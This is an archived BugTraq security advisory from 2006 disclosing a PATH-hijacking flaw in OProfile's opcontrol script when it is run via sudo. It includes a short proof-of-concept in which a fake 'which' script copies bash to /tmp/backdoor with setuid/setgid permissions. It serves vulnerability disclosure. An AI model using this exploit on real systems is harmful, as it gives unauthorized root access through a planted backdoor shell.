BugTraq
Arbitrary code execution via OProfile Feb 07 2006 07:48PM
Luís Miguel Silva (lms fe up pt)
Hello all,

I recently audited a box with a software called OProfile
(http://oprofile.sourceforge.net/).

"OProfile is a system-wide profiler for Linux systems, capable of profiling all
running code at low overhead. OProfile is released under the GNU GPL.
It consists of a kernel driver and a daemon for collecting sample data, and
several post-profiling tools for turning data into information.
OProfile leverages the hardware performance counters of the CPU to enable
profiling of a wide variety of interesting statistics, which can also be used
for basic time-spent profiling. All code is profiled: hardware and software
interrupt handlers, kernel modules, the kernel, shared libraries, and
applications.
OProfile is currently in alpha status; however it has proven stable over a large
number of differing configurations; it is being used on machines ranging from
laptops to 16-way NUMA-Q boxes. As always, there is no warranty. "

At least one of the scripts that ships with this software (opcontrol) has a
security flaw which enables a user to run arbitrary commands.

The script itself isnt suid root *but*, to take full advantage of some of the
features the software has, a lot of administrators give 'sudo' privileges to
that script.

Whoever coded the script tried protecting it against executing binaries out of a
safe PATH by defining one on line 1416:
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin

The problem is that this script does not check where the 'which' or 'dirname'
binary is executed from on line 1413/1414.

This enables a malicious user to execute arbitrary code by using the following
pseudo'exploit':
cat > which
#!/bin/sh
/bin/cp /bin/bash /tmp/backdoor
/bin/chmod 6755 /tmp/backdoor
^C
set PATH="."
/usr/bin/sudo /usr/local/bin/opcontrol

Vulnerable: <= oprofile-0.9.1

I contacted the developer(s) and got the following response:
"Do not trust admin privileges to unaudited code" - indeed these are words of
wisdom :o)

Apparently giving sudo to oprofile is a very common practice [Take RedHat for
instance -> http://www.redhat.com/magazine/012oct05/features/oprofile/ ].

Best regards,
+---------------------------------
| Luís Miguel Ferreira da Silva
| Unidade de Qualidade e Segurança
| Centro de Informática
| Professor Correia Araújo
| Faculdade de Engenharia da
| Universidade do Porto-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.7 (GNU/Linux)

mQGiBEJ54SIRBADAP8EoAbhyKi2KL6uBEELULwp5ZzzpZAw8WsZM8mcO8oR1Nil4
mRR4JChbGz/wYSkbohT+aQa/Y+0+7kvxrDOyGp09uYL/BJn2FaM3sIgiymMsQtws
B6V3CJvy3/Zu0zv/mbFvAdQ8xvXI5OVxCrp+0TDtjX6wMew15/b6WW80swCgof0f
hiDPYobvBQ7hxCLx+4Do7v0EAIlujL3WKdw6tPcETXS3f98aidJc6xW6WmkoHjAD
S46blE42n6FQMAzlNZhEtPIMbprvG11n9otIm8wp3l8TR+JcyIQYPcs49ANqGkPn
LkaFTn5wksgRmviNjF2DjCJ0ZGoU9Q63ABVeOhKyxB45g+1CPr5dVLZiUTb3ow1/
3ZIwA/49D7LQofEfCLrVpylmvcdy5aB0N5KdsRprlL2BVnrs64Wzg3NOYe5VUgx5
ijX1bSUtygb5If3ZyS4Bhg5M9qQ9qaowLBQCwz8DXC7uziCMFmK9bTk65S82EjLa
mEZtGpAIMsoLl5XH7HQuIan08Bsj0izjS6VCSjhh/FGifmeTKrQWQ1NJUlQgPGNz
aXJ0QGZlLnVwLnB0PohbBBMRAgAbBQJCeeEiBgsJCAcDAgMVAgMDFgIBAh4BAheA
AAoJEAgMJjFz7arDguEAn0nxaAN79mFWG3DsoSlsvFDFbhtNAKCbhwj8q1wuRPq+
uvOP5tPoEPgY6rkCDQRCeeE2EAgAsDmqBdsgpuhl1bqTnaQXi3RyVZAmlGygD2mL
0nFmQ2RKvzr0XnwVMYdaWe7A0PoeopMnBERHuSOQ63Rwlj3UmfD5EjTeVjls1RvK
kM/cwaI7WO0Q/UY1hEufuq5v47HnWAxPThRmk0HH5JuwD/6T5xV1HCjPzCtqMyWN
XbkICUoBl4bL07y5zxCRv2+MicMZ1RJtqcLLzy7arNkXT5B2FzZ639NXw4+b8taT
FKaTPaM0EIZASdmPiSbJDHShJU1dxgLD4GfKUZnm+aMZfzeYtdScTXfnENBZQ2Wq
H4h7cSFyrcLgKhJhc1OYQN9r11pwC+J2/v3CFqwciK6D5wLeCwADBgf/R4h04HFT
VQCwwUoMFcVVh5IGneEZ69YUz32A7pdsY66PZwYFVMdRPYyYvnSJWOoWaWnbTAB+
fFk6zXIJ9Pkg7uYvcGylQyR7kNkPNG50WNgv185V7+0z8qR3NtQGDsrVs6KtGRdd
iLx+PjJrxNfPJ4o9tU6Il1Fy2bRwofbQB2s2Z3D22lEnRN9za1qDaqrTQJ0O0WqS
3PTZWgS0F3vKBC4zoBt/SNLPet/Ir0St0Bj/DOafC1jdsTOxTOFemSUXyNaALIqR
Fiu7TsJolxfP0g7LEFKdlb5kI+9W8ygZynqZJ4wLkW/U/hwQ8qen/pdEEA4+fR+v
1gvi2D1geoMrPYhGBBgRAgAGBQJCeeE2AAoJEAgMJjFz7arD9+EAn3LiGxtXm7uz
eH5AmShOriB3wtH6AJwOyQjQj2j4ztKzBPPM70rMtn8NPA==
=xFjz
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.7 (GNU/Linux)

mQGiBEJ54SIRBADAP8EoAbhyKi2KL6uBEELULwp5ZzzpZAw8WsZM8mcO8oR1Nil4
mRR4JChbGz/wYSkbohT+aQa/Y+0+7kvxrDOyGp09uYL/BJn2FaM3sIgiymMsQtws
B6V3CJvy3/Zu0zv/mbFvAdQ8xvXI5OVxCrp+0TDtjX6wMew15/b6WW80swCgof0f
hiDPYobvBQ7hxCLx+4Do7v0EAIlujL3WKdw6tPcETXS3f98aidJc6xW6WmkoHjAD
S46blE42n6FQMAzlNZhEtPIMbprvG11n9otIm8wp3l8TR+JcyIQYPcs49ANqGkPn
LkaFTn5wksgRmviNjF2DjCJ0ZGoU9Q63ABVeOhKyxB45g+1CPr5dVLZiUTb3ow1/
3ZIwA/49D7LQofEfCLrVpylmvcdy5aB0N5KdsRprlL2BVnrs64Wzg3NOYe5VUgx5
ijX1bSUtygb5If3ZyS4Bhg5M9qQ9qaowLBQCwz8DXC7uziCMFmK9bTk65S82EjLa
mEZtGpAIMsoLl5XH7HQuIan08Bsj0izjS6VCSjhh/FGifmeTKrQWQ1NJUlQgPGNz
aXJ0QGZlLnVwLnB0PohbBBMRAgAbBQJCeeEiBgsJCAcDAgMVAgMDFgIBAh4BAheA
AAoJEAgMJjFz7arDguEAn0nxaAN79mFWG3DsoSlsvFDFbhtNAKCbhwj8q1wuRPq+
uvOP5tPoEPgY6rkCDQRCeeE2EAgAsDmqBdsgpuhl1bqTnaQXi3RyVZAmlGygD2mL
0nFmQ2RKvzr0XnwVMYdaWe7A0PoeopMnBERHuSOQ63Rwlj3UmfD5EjTeVjls1RvK
kM/cwaI7WO0Q/UY1hEufuq5v47HnWAxPThRmk0HH5JuwD/6T5xV1HCjPzCtqMyWN
XbkICUoBl4bL07y5zxCRv2+MicMZ1RJtqcLLzy7arNkXT5B2FzZ639NXw4+b8taT
FKaTPaM0EIZASdmPiSbJDHShJU1dxgLD4GfKUZnm+aMZfzeYtdScTXfnENBZQ2Wq
H4h7cSFyrcLgKhJhc1OYQN9r11pwC+J2/v3CFqwciK6D5wLeCwADBgf/R4h04HFT
VQCwwUoMFcVVh5IGneEZ69YUz32A7pdsY66PZwYFVMdRPYyYvnSJWOoWaWnbTAB+
fFk6zXIJ9Pkg7uYvcGylQyR7kNkPNG50WNgv185V7+0z8qR3NtQGDsrVs6KtGRdd
iLx+PjJrxNfPJ4o9tU6Il1Fy2bRwofbQB2s2Z3D22lEnRN9za1qDaqrTQJ0O0WqS
3PTZWgS0F3vKBC4zoBt/SNLPet/Ir0St0Bj/DOafC1jdsTOxTOFemSUXyNaALIqR
Fiu7TsJolxfP0g7LEFKdlb5kI+9W8ygZynqZJ4wLkW/U/hwQ8qen/pdEEA4+fR+v
1gvi2D1geoMrPYhGBBgRAgAGBQJCeeE2AAoJEAgMJjFz7arD9+EAn3LiGxtXm7uz
eH5AmShOriB3wtH6AJwOyQjQj2j4ztKzBPPM70rMtn8NPA==
=xFjz
-----END PGP PUBLIC KEY BLOCK-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus